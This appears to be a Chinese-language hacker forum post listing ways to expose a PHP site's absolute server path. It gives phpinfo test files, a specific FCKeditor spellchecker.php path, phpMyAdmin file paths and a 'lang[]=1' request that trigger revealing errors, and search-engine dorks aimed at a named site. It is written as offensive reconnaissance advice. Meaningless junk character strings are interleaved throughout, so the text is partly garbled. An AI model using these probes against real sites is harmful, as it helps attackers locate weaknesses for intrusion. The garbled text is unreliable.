1.测试test.php info.php php_info.php phpinfo.php
7 m K' g9 }9 a1 c
: }8 T' U4 A, Y1 S4 s2.扫描看有没有fck编辑器,如果有就用fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts\spellchecker.php爆6 {4 f/ m4 J# e2 B
; f" ?$ O5 ~3 v( I9 E
3.看看有没有phpmyadmin或者phpMyAdmin利用phpMyAdmin/libraries/select_lang.lib.php
8 `9 D% p' f! n6 KphpMyAdmin/darkblue_orange/layout.inc.php# b) u" }8 P$ q5 E$ p7 h4 B9 J
phpMyAdmin/index.php?lang[]=1& y d- X' y0 z' H( Y
phpmyadmin/themes/darkblue_orange/layout.inc.php
* w4 U- o' t+ I n( t# m- ]4.利用搜索引擎爆绝对路径4 ? \; n5 [3 B+ a. z' N
site:www.huangse.com Warning [8 q( b" `6 W( i, m
site:www.huangse.com inurl:Warning
% a& H7 M& }6 ]
5 H" F8 B/ z) \, Q( H1 G0 p3 w' w等以后慢慢往上补吧,利用单引号的方法俺就不说了。。。
. b3 @6 B3 t8 z0 f- l! h |